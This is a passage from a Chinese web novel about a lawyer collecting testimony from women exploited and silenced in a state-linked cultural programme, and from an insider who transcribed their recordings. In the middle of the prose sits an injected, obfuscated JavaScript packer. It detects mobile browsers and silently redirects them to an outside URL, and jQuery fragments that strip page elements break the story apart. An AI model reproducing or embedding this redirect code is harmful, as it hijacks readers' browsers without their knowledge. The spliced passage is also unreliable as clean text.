把文件装好。


    “你做得很好。”


    “但你现在先别走。”


    “我让人送你去安全屋。”


    “从现在开始，你不是‘张恕’。”


    “你是——证人A-1。”


    “是这个案子的第一个‘系统内自证人’。”


    “你说的这些，不是‘聊天记录’。”


    “是第一手证据。”


    “我会写进卷宗。”


    “她们不是一个人在死。”


    “你也不再一个人讲。”


    “这案子，不是‘她’的。”


    “是你们的。”


    她说完，把文件推到办公桌里锁上。


    那一瞬，她知道，这案子真开始进下一轮了。


    因为——


    终于有人从“那边”开口了。


    当晚，知乎上出现一条新帖。


    标题是：


    【你知道她们叫什么吗？】


    配图是一张手写纸。


    写着：


    【我十七岁那年进了风荷，他们说我长得乖，安排了“内测”】


    【我那时候以为“内测”是试镜。】


    【后来我才知道，是试药。】


    评论区下面，全是“我也知道”、“我见过”、“我在名单里”。


    热度从凌晨两点飙到四点。


    所有人都知道——


    墙，真的裂了。


    不是一条线。


    是整个系统的崩口。


    这一刻，不是她们翻案。


    早上八点，联络组还没开门。


    程漾的手机先响了。


    是陆沉打来的。


    他开门见山：


    “今晚之前，他们要压舆情。”


    “你指谁？”


    “政法口，信息监测那边已经开了会。”


    “他们要换标签。”


    “什么标签？”


    “从‘系统吃人’改成‘教育失控’。”


    “什么意思？”


    “意思是——这不是谁送她们进去。”


    “是她们‘自我定位失调’，‘为了梦想误入歧途’。”


    程漾嗤了声：“又要讲梦想了？”


    陆沉：“对，讲梦想，讲希望，讲‘她们也曾被帮助’。”


    “他们想洗？”


    “想洗。”


    “洗不干净。”


    “他们不是洗。”


    “是拖。”


    “拖一天是一条命没说出来。”


    “拖三天，墙就被撕第三次。”


    “你现在打来是想说这个？”


    “不是。”


    “那你说。”


    “我刚接到消息。”


    “文化口某‘高创基金项目’的总账——出事了。”


    “哪方面？”


    “被查出批条目里有三条写的是‘讲述人项目调研’，备注是‘已录完三人，待扩展’。”


    “讲述人？”


    “对。”


    “你还记得沈一诺的日记里写的那句吗？”


    “她说她以前想做律师。”


    “是因为看到有个赢了官司的人哭着说‘觉得自己是人了’。”


    “她就是‘讲述人’。”


    “不是她自己给自己的。”


    “是被标记成的。”


    程漾一下坐直了。


    “你说清楚。”


    陆沉：“那三条记录里，一条资金调拨落点是风荷，一条是君悦，一条是市区青创中心。”


    “也就是说，他们不是临时安排。”


    “是有项目名、有批文、有经费。”


    “是‘结构化讲述’。”


    “是你说话，我们替你决定这话给谁听。”


    “是你一字一字讲出来，他们拿去报销、汇报、换资源。”


    “她们说‘不想死’。”


    “他们说‘素材完成，反馈良好’。”


    那一瞬，程漾脑子里一个词蹦了出来：


    ——“她们不光是死。”


    ——“她们是被当素材榨干之后，处理掉。”


    “他们不止是送她们进去。”


    “他们是拍着她们的哭，去开会。”


    “她们活着的时候，是项目。”


    “她们死了之后，是消耗品。”


    她呼吸压了一下。


    “这账，能查吗？”


    “已经在查。”


    “但我们要一个突破点。”


    “讲述人是谁定的？”


    “谁批的？”


    “谁在‘听’这些素材？”


    “谁转的账？”


    “我们要拉出来一个——‘听她哭的人’。”


    “要不然就都是‘她在讲’，‘他在装没听见’。”


    她没多说。


    “我给你个人。”


    “谁？”


    “昨天登记的新证人，他说他在‘清表小组’。”


    “如果真的是清表——那他一定见过讲述表。”


    “我今天让他写证明。”


    “但他得进案组。”


    “我签推荐。”


    “你们批。”


    “我陪他去。”


    陆沉沉默了两秒。


    然后回了三个字：


    “我们批。”


    上午十点，程漾带着张恕进了第二卷宗组。


    门口的保安看她一身律师马甲，一手卷宗，一手带人，没敢拦。


    组长从工位上站起来，看了一眼张恕：“你就是？”


    张恕点头：“我是张恕。”


    “特项整合资料部，任职三年，主要负责数据标签录入和结果分类。”


    “你知道讲述人档案？”


    “我经手过两批。”


    “你知道‘讲述者编号’怎么生成？”


    “是调入名单+心理干预反馈+素材深度评级，系统内称为‘定点描述体’。”


    “你知道这些录音去哪儿了？”


    “我不知道谁在听。”


    “但我知道——上传是用的‘项目汇总通道’，属于绿通。”


    “没有审批，走直发。”


    程漾坐在一边，看着他一点点讲完。


    组长说：“你有没有愿意写下来？”


    张恕点点头：“我昨天就写了。”


    他从兜里掏出一份笔记本。


    第一页只写了一句话：


    【我们不是在归档，是在擦命。】


    组长接过那份证词，没再说话，只对程漾点了点头：“这份我们收。”


    “从现在起，这案子不仅是‘她们’的。”


    “也是我们自己的。”


    “这不是系统失控。”


    “这是我们集体——”


    “装聋。”


    当天下午四点。


    “文化系统专项平台”主页改了版头。


    下面一行小字：


    【正在推进人命素材卷宗转档，请所有曾参与“艺术体验项目”的女性，自行决定是否留下讲述。】


    【她不是商品。】


    【她是讲述人。】


    【我们听着。】


    一夜之间。


    “讲述人”成了全民接力的词。


    抖音上有人发视频说：


    “我奶奶年轻时也讲过，她当年一去就是‘文化招待’。”


    知乎上新贴顶上热榜：


    【我讲的不多，但我讲的时候是人】


    小红书上刷满标签：


    #她不是素材


    #我们是人不是项目


    #讲述人不是试用期


    而就在这热度最高的时候。


    后台更新了一条消息。


    ——赵意之开口了。


    她写了一段话。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045801|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>不是给程漾。


    是写给“讲述组”的。


    字迹工整，语句平静。


    内容是：


    【我当年看过那些录音。】


    【她们哭着讲自己的经历。】


    【我坐在会议室，看他们边听边笑。】


    【我没出声。】


    【我不是没有情绪。】


    【是我知道——我不是人。】


    【我要是人，就会讲。】


    【但我不是。】


    【我是他们安排在系统里，替他们转录讲述的壳。】


    【我不是讲述人。】


    【我是喉咙。】


    【我是复制她们死前挣扎的键盘。】


    【现在我要讲。】


    【不是忏悔。】


    【是还债。】


    这段话被贴进了卷宗首页。


    调成红字。


    那晚九点，程漾坐在办公室没走。


    她一直盯着桌上那份卷宗复印件。


    赵意之那段话，静静贴在第一页，像一段没删干净的旧录像，卡在她脑子里一动不动。


    【我不是讲述人，我是喉咙。】


    【我是复制她们死前挣扎的键盘。】


    这话说出来的时候，赵意之已经不再“硬撑”。


    不是为了求饶。


    也不是装可怜。


    她只是知道——她自己也成了那场系统的一部分。


    她帮人讲了太多，讲得连自己都没了声音。


    程漾手机震了一下。


    是林茜。


    【明早八点，第一批讲述会正式启动】


    【有三个愿意公开身份，一个要蒙面出镜，另一个……要直播】


    她盯着那句“要直播”愣了几秒。


    【直播？谁？】


    林茜很快回了三个字：


    【围巾女孩】


    程漾心里咯噔一下。


    那姑娘她见过，一直不肯露脸，也从没录过完整证词。


    她之前说过一句话：


    “我死的时候没人替我讲，现在我还活着，我得自己说。”


    “我不想等我尸体凉了，才上热搜。”


    “我想让他们——现在就听。”


    程漾手指一点点收紧。


    这场讲述会，是她和周凛磨出来的。


    她要的不是爆料，而是制度入卷。


    不是哭诉，是立案。


    可她也知道——


    只有“她们自己说”，才是真正的开始。


    第二天一早，讲述会在一间老式会议室开场。


    没有红毯，没有直播灯。


    只有三张桌子，两台摄像机，五十多张折叠椅。


    程漾一进门，就看到围巾女孩站在角落，正在整理手稿。


    她还是穿着宽大的灰外套，袖子拖得老长，一看就不习惯这么多人的场合。


    但她没有退。


    她一页页把讲稿放好，抬头的瞬间，嗓子干得说不出话来。


    程漾走过去，把一瓶水递给她。


    她接过，点了下头：“我可以开始了吗？”


    没人喊她上台。


    也没人举牌子。


    她自己走上去，站到话筒前。


    现场突然安静下来。


    她张嘴，说了第一句话：


    “我不是来求你们同情的。”


    “我也不是来哭的。”


    “我来，是因为那天晚上，没人听我说完一句话。”


    “我那晚穿的不是白裙子，是红色的连衣裤。”


    “我那时候月经刚来，他们让我喝了止血药。”


    “我喝完以后昏了一晚上，醒来在走廊躺着。”


    “那个走廊，我还记得味道，冷的，像鞋底。”


    “我不是第一天进去。”


    “我前后进了四次，每次都有人接我，每次都有人写反馈。”